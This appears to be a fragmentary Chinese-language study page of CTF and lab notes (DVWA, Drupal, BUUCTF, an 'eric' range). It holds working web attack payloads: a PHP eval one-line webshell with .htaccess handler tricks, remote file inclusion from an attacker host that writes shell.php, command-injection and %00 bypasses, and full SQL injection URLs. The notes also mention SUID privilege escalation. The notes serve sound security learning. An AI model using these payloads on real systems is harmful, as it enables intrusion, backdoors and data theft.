date
Aug 5, 2021 12:02 PM
Related to 日程数据 1 (blog)
tags
slug
summary
icon
category
password
 
%0a 换行符的url编码,能破解到high的命令注入 还有|
notion image
notion image
 
 
 
3.docker从指定仓库拉取镜像
因为修改镜像源要重启docker,不像修改镜像源就这么干
常见的参数:-i:交互式执行容器。容器控制台只支持后台运行容器。-t:分配虚拟终端。-e:容器运行的环境变量。
对于 foreground 容器,由于其只是在开发调试过程中短期运行,其用户数据并无保留的必要,因而可以在容器启动时设置 --rm 选项,这样在容器退出时就能够自动清理容器内部的文件系统。
 
 
分步配置文件上传
 
作用当前目录及子目录

法一

# FileMatch 参数即为文件名的正则匹配 <FilesMatch "sniperoj"> SetHandler application/x-httpd-php </FilesMatch>
// sniperoj <?php eval($_GET['c']);?>

法二

AddType application/x-httpd-php .jpg
// filename.jpg <?php eval($_GET['c']);?>
 
1、在攻击机192.168.116.1上创建待包含的文件fin.txt,文件内容如下:
当这个文件被成功包含之后,其中的php代码会执行,效果是在目标机上创建一个shell.php文件,并写入一句话木马。
2、攻击机192.168.116.1上用python3 -m http.server 80命令起http服务
notion image
3、浏览器地址栏输入payload:
 
反正一句话木马的话,记得如果是把木马写入了目标机,直接连接的时候就不用设置cookie,如果是通过文件包含来连接,就需要设置cookie,因为dvwa/vulnerabilities/fi路径下的index.php文件(也就是存在文件包含漏洞的文件)是需要验证cookie才能访问的。
 
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
 
notion image
 
被include包含的文件会被当作php文件来执行,这样我们在图片中隐藏的一句话木马就可以运行起来了。
注意我们连接的地址是/vul/index.php?page=/upload/logo.jpg
 
 
 

eric 靶场

 
notion image
notion image
 
 
notion image
都看看是啥
 
notion image
notion image
 
notion image
 
 
找到用户名密码
notion image
 
notion image
进入
notion image
传个木马试试
notion image
没有反馈
notion image
找到shell的url 可参考admin.php源代码发现
notion image
getshell连接成功
 
 
 
 
 
查找 suid文件
 
提权 root
 
 
 
 
 
 
 
 

DVWA

 
notion image
 
 
chrome 的hackbar 有问题
发送不了post数据
If enctype is application/x-www-form-urlencoded, there must be at least one equation symbol (=) in payload.
请使用burp
 
 
 
 

drupal

 
 
新建用户
设置简单密码
update 覆盖admin的密码
 
 
suid提权
 
 
 
 
 
 

文件包含

 
notion image
 
 
 
 
 
thisisunsafe
 
 

万能密码进去
会显示2个字段
假装有输入框
常规套路走一遍
 
notion image
notion image
notion image
notion image
notion image
notion image
http://56e0f769-3027-43d5-8151-50b2eef79854.node4.buuoj.cn/check.php ?username=1%27or+1=2++union select+1,database(),group_concat(table_name)+from+information_schema.columns+where+table_schema='geek'+%23 &password=admin
notion image
notion image
notion image
http://db55eb9e-9787-4bf1-a218-408c0ca2322b.node4.buuoj.cn/check.php ?username=admin%27or(updatexml(0x7e,concat(1,database(),0x7e),0x7e))%23 &password=21
 
 
??????
 
 
dirsearch.py -u url -x 400,403,404,500,503,429
 
 
 
notion image
notion image
 
notion image
notion image
函数算法复杂
应该需要动调
notion image
想太多
入门题 看见啥 啥就是flag
 
notion image
不太对
notion image
脱个壳看看
notion image
notion image
同上
 
notion image
notion image
notion image
 
 
notion image
notion image
notion image
 
 
 
notion image
|||>>^^>>||| 222441144222
 
 
notion image
notion image
 
逻辑不是很清晰
 
 
 
 
notion image
 
 
 
notion image
notion image
送别mac导入burpsuite证书
Loading...